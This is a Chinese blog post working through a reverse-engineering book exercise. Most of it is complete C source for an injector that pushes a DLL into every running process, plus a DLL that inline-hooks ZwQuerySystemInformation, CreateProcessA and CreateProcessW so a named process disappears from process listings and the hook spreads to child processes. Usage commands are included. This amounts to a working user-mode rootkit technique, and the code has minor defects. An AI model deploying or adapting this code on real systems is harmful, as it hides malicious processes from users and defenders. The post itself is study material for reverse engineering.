zoukankan      html  css  js  c++  java
  • 通过注入DLL修改API代码实现钩取(一)

    通过注入DLL修改API代码实现钩取(一)

    Ox00 大致思路

    1. 通过CreateRemoteThread函数开辟新线程,并将DLL注入进去
    2. 通过GetProcessAddress函数找到需钩取的API地址。
    3. 修改制定的API的前五个字节,让其跳往我们自己设计的函数
    4. 函数执行完功能后返回

    本实验目标:注入指定dll后隐藏我们的目标进程。

    下面两图表示了API钩取之前与API被钩取之后程序的执行过程:

    其实明白之后发现原理并不是很难,无非就是先获取到API函数的地址,然后再把原先API的首地址改为JMP 指令跳往指定函数,当然,如果指定函数不调用原API,就无需先脱钩,如果新的函数需调用原先的API则先脱钩再调用,执行完再次钩取。

    Ox01  确定要钩取的API

      我们的目的实现进程的隐藏,所以就要关注那些能够实现进程查询的API

    一般来说有两个常用的API

    1)CreateToolSnapShot()API

    HANDLE CreateToolhelp32Snapshot(

      DWORD dwFlags,

      DWORD th32ProcessID

    );

    2)ZwQuerySystemInformation()API

    NTSTATUS WINAPI ZwQuerySystemInformation(

      _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,

      _Inout_   PVOID                    SystemInformation,

      _In_      ULONG                    SystemInformationLength,

      _Out_opt_ PULONG                   ReturnLength

    );

    查阅了资料知道ZwQuerySystemInformation()函数是更为底层的函数,而CreateToolhelp32Snapshot()也是调用这个函数实现进程信息查询的。通过ZwQuerySystemInformation可以获取正在运行的所有进程的信息,并放在一个结构体的链表中。

    确定了要钩取的API我们还有考虑几个问题:

    1)需要钩取几个进程

    答:所有正在调用ZwQuerySystemInformation的进程。

    2)新建的进程也调用了ZwQuerySystemInformation该怎么办?

    答:我们也需要在钩取创建进程的API。所以我们还要钩取创建CreateProcessA()API以及CreateProcessW()API。

    0x02 注入dll的代码实现

    #include "windows.h"

    #include "stdio.h"

    #include "tlhelp32.h"

    #include "tchar.h"

    enum {INJECTION_MODE = 0, EJECTION_MODE};

    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

    {

        TOKEN_PRIVILEGES tp;

        HANDLE hToken;

        LUID luid;

        if( !OpenProcessToken(GetCurrentProcess(),

                              TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

                  &hToken) )

        {

            printf("OpenProcessToken error: %u ", GetLastError());

            return FALSE;

        }

        if( !LookupPrivilegeValue(NULL,            // lookup privilege on local system

                                  lpszPrivilege,   // privilege to lookup

                                  &luid) )         // receives LUID of privilege

        {

            printf("LookupPrivilegeValue error: %u ", GetLastError() );

            return FALSE;

        }

     

        tp.PrivilegeCount = 1;

        tp.Privileges[0].Luid = luid;

        if( bEnablePrivilege )

            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        else

            tp.Privileges[0].Attributes = 0;

     

        // Enable the privilege or disable all privileges.

        if( !AdjustTokenPrivileges(hToken,

                                   FALSE,

                                   &tp,

                                   sizeof(TOKEN_PRIVILEGES),

                                   (PTOKEN_PRIVILEGES) NULL,

                                   (PDWORD) NULL) )

        {

            printf("AdjustTokenPrivileges error: %u ", GetLastError() );

            return FALSE;

        }

     

        if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )

        {

            printf("The token does not have the specified privilege. ");

            return FALSE;

        }

        return TRUE;

    }

    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)

    {

    HANDLE                  hProcess, hThread;

    LPVOID                  pRemoteBuf;

    DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);

    LPTHREAD_START_ROUTINE  pThreadProc;

    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

        {

            printf("OpenProcess(%d) failed!!! ", dwPID);

    return FALSE;

        }

     

    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,

                                    MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, pRemoteBuf,

                           (LPVOID)szDllPath, dwBufSize, NULL);

    pThreadProc = (LPTHREAD_START_ROUTINE)

                      GetProcAddress(GetModuleHandle(L"kernel32.dll"),

                                     "LoadLibraryW");

    hThread = CreateRemoteThread(hProcess, NULL, 0,

                                     pThreadProc, pRemoteBuf, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

     

    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

     

    CloseHandle(hThread);

    CloseHandle(hProcess);

    return TRUE;

    }

    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)

    {

    BOOL                    bMore = FALSE, bFound = FALSE;

    HANDLE                  hSnapshot, hProcess, hThread;

    MODULEENTRY32           me = { sizeof(me) };

    LPTHREAD_START_ROUTINE  pThreadProc;

     if( INVALID_HANDLE_VALUE ==

            (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )

    return FALSE;

     

    bMore = Module32First(hSnapshot, &me);

    for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )

    {

    if( !_tcsicmp(me.szModule, szDllPath) ||

                !_tcsicmp(me.szExePath, szDllPath) )

    {

    bFound = TRUE;

    break;

    }

    }

     

    if( !bFound )

    {

    CloseHandle(hSnapshot);

    return FALSE;

    }

     

    if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

    {

    printf("OpenProcess(%d) failed!!! ", dwPID);

    CloseHandle(hSnapshot);

    return FALSE;

    }

     

    pThreadProc = (LPTHREAD_START_ROUTINE)

                      GetProcAddress(GetModuleHandle(L"kernel32.dll"),

                                     "FreeLibrary");

    hThread = CreateRemoteThread(hProcess, NULL, 0,

                                     pThreadProc, me.modBaseAddr, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

     

    CloseHandle(hThread);

    CloseHandle(hProcess);

    CloseHandle(hSnapshot);

     

    return TRUE;

    }

     

    BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)

    {

    DWORD                   dwPID = 0;

    HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;

    PROCESSENTRY32          pe;

    // Get the snapshot of the system

    pe.dwSize = sizeof( PROCESSENTRY32 );

    hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

    // find process

    Process32First(hSnapShot, &pe);

    do

    {

    dwPID = pe.th32ProcessID;

            // PID小于100的不注入

            //起的注入指定的DLL

    if( dwPID < 100 )

    continue;

            if( nMode == INJECTION_MODE )

        InjectDll(dwPID, szDllPath);

            else

                EjectDll(dwPID, szDllPath);

    } while( Process32Next(hSnapShot, &pe) );

     CloseHandle(hSnapShot);

    return TRUE;

    }

    int _tmain(int argc, TCHAR* argv[])

    {

        int nMode = INJECTION_MODE;

     

    if( argc != 3 )

    {

    printf(" Usage  : HideProc2.exe <-hide|-show> <dll path> ");

    return 1;

    }

    // change privilege

    SetPrivilege(SE_DEBUG_NAME, TRUE);

     

        // Inject(Eject) Dll to all process

        if( !_tcsicmp(argv[1], L"-show") )

        nMode = EJECTION_MODE;

    //第三个参数argv[2]为要注入的DLL名称

        InjectAllProcess(nMode, argv[2]);

     

    return 0;

    }

     

    这个和以前的注入代码没啥区别。仔细看应该就能看懂。

    编译生成HideProc2.exe文件。

    0x03 隐藏进程的dll的实现

    代码如下:

    #include "windows.h"

    #include "stdio.h"

    #include "tchar.h"

     

    #define STR_MODULE_NAME (L"stealth2.dll")

    #define STR_HIDE_PROCESS_NAME (L"notepad.exe")

    #define STATUS_SUCCESS (0x00000000L)

    typedef LONG NTSTATUS;

    //系统信息结构体

    typedef enum _SYSTEM_INFORMATION_CLASS {

        SystemBasicInformation = 0,

        SystemPerformanceInformation = 2,

        SystemTimeOfDayInformation = 3,

        SystemProcessInformation = 5,

        SystemProcessorPerformanceInformation = 8,

        SystemInterruptInformation = 23,

        SystemExceptionInformation = 33,

        SystemRegistryQuotaInformation = 37,

        SystemLookasideInformation = 45

    } SYSTEM_INFORMATION_CLASS;

    //进程信息结构体

    typedef struct _SYSTEM_PROCESS_INFORMATION {

        ULONG NextEntryOffset;

        BYTE Reserved1[52];

        PVOID Reserved2[3];

        HANDLE UniqueProcessId;

        PVOID Reserved3;

        ULONG HandleCount;

        BYTE Reserved4[4];

        PVOID Reserved5[11];

        SIZE_T PeakPagefileUsage;

        SIZE_T PrivatePageCount;

        LARGE_INTEGER Reserved6[6];

    } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

    //PFZWQUERYSYSTEMINFORMATION是一个函数指针

    /*

    一个指向参数为

     SYSTEM_INFORMATION_CLASS SystemInformationClass,

    PVOID SystemInformation,

    ULONG SystemInformationLength,

    PULONG ReturnLength

    的返回值类型为NTSTATUS的函数,这个函数其实就是ZwQuerySystemInformation()API函数,NTSTATUS是一个长整型数。

     

    */

    typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(

        SYSTEM_INFORMATION_CLASS SystemInformationClass,

        PVOID SystemInformation,

        ULONG SystemInformationLength,

        PULONG ReturnLength);

    /*

    PFCREATEPROCESSA是一个函数指针

    这个指针指向参数为:

    LPCTSTR lpApplicationName,

    LPTSTR lpCommandLine,

    LPSECURITY_ATTRIBUTES lpProcessAttributes,

    LPSECURITY_ATTRIBUTES lpThreadAttributes,

    BOOL bInheritHandles,

    DWORD dwCreationFlags,

    LPVOID lpEnvironment,

    LPCTSTR lpCurrentDirectory,

    LPSTARTUPINFO lpStartupInfo,

    LPPROCESS_INFORMATION lpProcessInformation

    的返回值类型为BOOL的函数,这个函数其实就是CreateProcessA()API函数

     

     

     

     

    */

    typedef BOOL (WINAPI *PFCREATEPROCESSA)(

        LPCTSTR lpApplicationName,

        LPTSTR lpCommandLine,

        LPSECURITY_ATTRIBUTES lpProcessAttributes,

        LPSECURITY_ATTRIBUTES lpThreadAttributes,

        BOOL bInheritHandles,

        DWORD dwCreationFlags,

        LPVOID lpEnvironment,

        LPCTSTR lpCurrentDirectory,

        LPSTARTUPINFO lpStartupInfo,

        LPPROCESS_INFORMATION lpProcessInformation

    );

    /*

    PFCREATEPROCESSW是一个函数指针

    这个指针指向参数为:

    LPCTSTR lpApplicationName,

    LPTSTR lpCommandLine,

    LPSECURITY_ATTRIBUTES lpProcessAttributes,

    LPSECURITY_ATTRIBUTES lpThreadAttributes,

    BOOL bInheritHandles,

    DWORD dwCreationFlags,

    LPVOID lpEnvironment,

    LPCTSTR lpCurrentDirectory,

    LPSTARTUPINFO lpStartupInfo,

    LPPROCESS_INFORMATION lpProcessInformation

    的返回值类型为BOOL的函数,这个函数其实就是CreateProcessW()API函数

     

    */

    typedef BOOL (WINAPI *PFCREATEPROCESSW)(

        LPCTSTR lpApplicationName,

        LPTSTR lpCommandLine,

        LPSECURITY_ATTRIBUTES lpProcessAttributes,

        LPSECURITY_ATTRIBUTES lpThreadAttributes,

        BOOL bInheritHandles,

        DWORD dwCreationFlags,

        LPVOID lpEnvironment,

        LPCTSTR lpCurrentDirectory,

        LPSTARTUPINFO lpStartupInfo,

        LPPROCESS_INFORMATION lpProcessInformation

    );

    BYTE g_pOrgCPA[5] = {0,};

    BYTE g_pOrgCPW[5] = {0,};

    BYTE g_pOrgZwQSI[5] = {0,};

    //替换原API函数首地址的前五个字节为NewCreateProcessANewCreateProcessW

    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)

    {

    FARPROC pFunc;

    DWORD dwOldProtect, dwAddress;

    BYTE pBuf[5] = {0xE9, 0, };

    PBYTE pByte;

    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

    pByte = (PBYTE)pFunc;

    if( pByte[0] == 0xE9 )

    return FALSE;

     VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

     memcpy(pOrgBytes, pFunc, 5);

     dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;

    memcpy(&pBuf[1], &dwAddress, 4);

     memcpy(pFunc, pBuf, 5);

     VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

    return TRUE;

    }

    //将被替换的API函数前五个字节换回去

    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)

    {

    FARPROC pFunc;

    DWORD dwOldProtect;

    PBYTE pByte;

    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

    pByte = (PBYTE)pFunc;

    if( pByte[0] != 0xE9 )

    return FALSE;

     VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

     memcpy(pFunc, pOrgBytes, 5);

     VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

     Return TRUE;

    }

    //提权函数

    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

    {

        TOKEN_PRIVILEGES tp;

        HANDLE hToken;

        LUID luid;

        if( !OpenProcessToken(GetCurrentProcess(),

                              TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

                  &hToken) )

        {

            printf("OpenProcessToken error: %u ", GetLastError());

            return FALSE;

        }

        if( !LookupPrivilegeValue(NULL,             // lookup privilege on local system

                                  lpszPrivilege,    // privilege to lookup

                                  &luid) )          // receives LUID of privilege

        {

            printf("LookupPrivilegeValue error: %u ", GetLastError() );

            return FALSE;

        }

        tp.PrivilegeCount = 1;

        tp.Privileges[0].Luid = luid;

        if( bEnablePrivilege )

            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        else

            tp.Privileges[0].Attributes = 0;

     

        // Enable the privilege or disable all privileges.

        if( !AdjustTokenPrivileges(hToken,

                                   FALSE,

                                   &tp,

                                   sizeof(TOKEN_PRIVILEGES),

                                   (PTOKEN_PRIVILEGES) NULL,

                                   (PDWORD) NULL) )

        {

            printf("AdjustTokenPrivileges error: %u ", GetLastError() );

            return FALSE;

        }

        if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )

        {

            printf("The token does not have the specified privilege. ");

            return FALSE;

        }

     

        return TRUE;

    }

    //注入函数,使用这个函数向新建的子进程注入stealth2.dll

    BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)

    {

    HANDLE hThread;

    LPVOID pRemoteBuf;

    DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);

    FARPROC pThreadProc;

    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,

                                    MEM_COMMIT, PAGE_READWRITE);

        if( pRemoteBuf == NULL )

            return FALSE;

    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,

                           dwBufSize, NULL);

    pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),

                                     "LoadLibraryW");

    hThread = CreateRemoteThread(hProcess, NULL, 0,

                                     (LPTHREAD_START_ROUTINE)pThreadProc,

                                     pRemoteBuf, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

    CloseHandle(hThread);

    return TRUE;

    }

    //创建新的ZwQuerySystemInformation函数

    NTSTATUS WINAPI NewZwQuerySystemInformation(

        SYSTEM_INFORMATION_CLASS SystemInformationClass,

    PVOID SystemInformation,

    ULONG SystemInformationLength,

    PULONG ReturnLength)

    {

    NTSTATUS status;

    FARPROC pFunc;

    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

    char szProcName[MAX_PATH] = {0,};

    //调用原始API前先脱钩

    unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);

    //获取模块ntdll的函数ZwQuerySystemInformation的地址

    pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),

                               "ZwQuerySystemInformation");

    //通过指针调用ZwQuerySystemInformation返回进程信息链表的首地址到SystemInformation

    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)

                 (SystemInformationClass, SystemInformation,

                  SystemInformationLength, ReturnLength);

    //获取失败则退出

    if( status != STATUS_SUCCESS )

    goto __NTQUERYSYSTEMINFORMATION_END;

    //当调用获取到的是进程信息时(SystemInformationClass这个参数可以是进程信息类,也可以是其他,具体的取MSDN上查询)

    if( SystemInformationClass == SystemProcessInformation )

    {

     

    pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

     

    while(TRUE)

    {

                if(pCur->Reserved2[1] != NULL)

                {

    //找到notePad.exe后操作链表将其删除,这样就达到了隐藏的目的

                    if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))

        {

        if(pCur->NextEntryOffset == 0)

        pPrev->NextEntryOffset = 0;

        else

        pPrev->NextEntryOffset += pCur->NextEntryOffset;

        }

        else

        pPrev = pCur;

                }

     

    if(pCur->NextEntryOffset == 0)

    break;

    //让指针指向下一项

    pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);

    }

    }

    __NTQUERYSYSTEMINFORMATION_END:

    //退出之前先钩取,为下次循环做准备

    hook_by_code("ntdll.dll", "ZwQuerySystemInformation",

                     (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);

    return status;

    }

    //新建的CreateProcessA函数

    BOOL WINAPI NewCreateProcessA(

        LPCTSTR lpApplicationName,

        LPTSTR lpCommandLine,

        LPSECURITY_ATTRIBUTES lpProcessAttributes,

        LPSECURITY_ATTRIBUTES lpThreadAttributes,

        BOOL bInheritHandles,

        DWORD dwCreationFlags,

        LPVOID lpEnvironment,

        LPCTSTR lpCurrentDirectory,

        LPSTARTUPINFO lpStartupInfo,

        LPPROCESS_INFORMATION lpProcessInformation

    )

    {

        BOOL bRet;

    //FARPROC是一个指向far过程的指针JMP跳转至指定far过程用得着

        FARPROC pFunc;

     

        // 调用原始API之前先脱钩unhook

        unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);

     

        // 调用原始的API

        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");

        bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,

                                         lpCommandLine,

                                         lpProcessAttributes,

                                         lpThreadAttributes,

                                         bInheritHandles,

                                         dwCreationFlags,

                                         lpEnvironment,

                                         lpCurrentDirectory,

                                         lpStartupInfo,

                                         lpProcessInformation);

     

        // 向生成的子进程注入stealth32.dll

        if( bRet )

            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);

     

        // 功能完成之后再次钩取APIhook,为下次循环做准备

        hook_by_code("kernel32.dll", "CreateProcessA",

                     (PROC)NewCreateProcessA, g_pOrgCPA);

     

        return bRet;

    }

    //新建的NewCreateProcessW函数

    BOOL WINAPI NewCreateProcessW(

        LPCTSTR lpApplicationName,

        LPTSTR lpCommandLine,

        LPSECURITY_ATTRIBUTES lpProcessAttributes,

        LPSECURITY_ATTRIBUTES lpThreadAttributes,

        BOOL bInheritHandles,

        DWORD dwCreationFlags,

        LPVOID lpEnvironment,

        LPCTSTR lpCurrentDirectory,

        LPSTARTUPINFO lpStartupInfo,

        LPPROCESS_INFORMATION lpProcessInformation

    )

    {

        BOOL bRet;

        FARPROC pFunc;

     

        //// 调用原始API之前先脱钩unhook

        unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);

     

        //调用原来的API

        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");

        bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,

                                         lpCommandLine,

                                         lpProcessAttributes,

                                         lpThreadAttributes,

                                         bInheritHandles,

                                         dwCreationFlags,

                                         lpEnvironment,

                                         lpCurrentDirectory,

                                         lpStartupInfo,

                                         lpProcessInformation);

     

        // 向新生成的子进程注入stealth2.dll

        if( bRet )

            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);

     

        // 再次钩取API,为下次循环做准备

        hook_by_code("kernel32.dll", "CreateProcessW",

                    (PROC)NewCreateProcessW, g_pOrgCPW);

     

        return bRet;

    }

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

    {

        char            szCurProc[MAX_PATH] = {0,};

        char            *p = NULL;

     

        // 异常处理是注入不会发生在HideProc2.exe进程

        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);

        p = strrchr(szCurProc, '\');

        if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )

            return TRUE;

     

        // 提权

        SetPrivilege(SE_DEBUG_NAME, TRUE);

     

        switch( fdwReason )

        {

            case DLL_PROCESS_ATTACH :

                // DLL载入后钩取三个API

                hook_by_code("kernel32.dll", "CreateProcessA",

                             (PROC)NewCreateProcessA, g_pOrgCPA);

                hook_by_code("kernel32.dll", "CreateProcessW",

                             (PROC)NewCreateProcessW, g_pOrgCPW);

                hook_by_code("ntdll.dll", "ZwQuerySystemInformation",

                             (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);

                break;

     

            case DLL_PROCESS_DETACH :

                // DLL卸载后对三个API脱钩

                unhook_by_code("kernel32.dll", "CreateProcessA",

                               g_pOrgCPA);

                unhook_by_code("kernel32.dll", "CreateProcessW",

                               g_pOrgCPW);

                unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",

                               g_pOrgZwQSI);

                break;

        }

        return TRUE;

    }

     上诉代码我已经写出了详细注释,相信熟悉注入的同志都能看懂。

    编译生成stealth2.dll文件。

    0x04 验证

    打开notepad.exe,打开processexploer查看pid,如下图:

     

    管理员权限打开cmd,将stealth2.dll放入system目录下,以便windows能够找到,将HideProc2.exe放入D盘,在cmd窗口输入HideProc2.exe -hide stealth2.dll

     

    我们看到processexploer已经看不到notepad了,而且瞬间看到cpu飙升,因为此时每个调用ZwQuerySystemInformation函数,以及调用CreateProcessACreateProcessW的进程都载入了stealth3.dll。我们可以输入HideProc2.exe -show stealth2.dll 实现卸载。

    0x04 问题汇总

    1. 被注入的DLL一定要有输出函数吗?怎么看到有些注入用了,有些没用?

    答:不是必须的,如果注入程序需要向被注入的DLL传参就需要。

          2.LoadLibraryGetMoudileHandle怎么总感觉相似?

    答:LoadLibrary是用来把某个模块载入进程的地址空间的,而GetModuleHandle则是用来获取的已经加载的模块的。

      3.我注入时只是输入的DLL的名称,程序是怎么找到这个DLL的?

    答:其实这个不需要担心,因为这个是windows自动完成的,它搜寻指定的DLL的顺序是

    1)当前进程的可执行模块所在的目录。

    2)当前目录。

    3)Windows 系统目录。 GetSystemDirectory 函数检索此目录的路径。

    4)Windows 目录。 GetWindowsDirectory 函数检索此目录的路径。

    5)PATH 环境变量中列出的目录。

       4.strrchr函数是干嘛的?

    答:strrchr这个函数有意思,感觉专门是为查找路径中exe或者某个文件名所准备的,比如strrchr(szCurProc, '\');,返回的是最后一次出现\的位置,即exe名或者文件名。

    以上是我在看《逆向工程核心原理》关于注入时遇到的一些疑问与解答。

     

  • 相关阅读:
    51单片机学习1
    M41T11-RTC(实时时钟)
    ATmega8仿真——外部中断的学习
    C# 调用动态代码
    C# Attribute的用法
    DataTable相关
    addin1
    多线程信号源_红绿灯
    EF CodeFirst简单实例
    WCF配置Tcp协议
  • 原文地址:https://www.cnblogs.com/2f28/p/10013489.html
Copyright © 2011-2022 走看看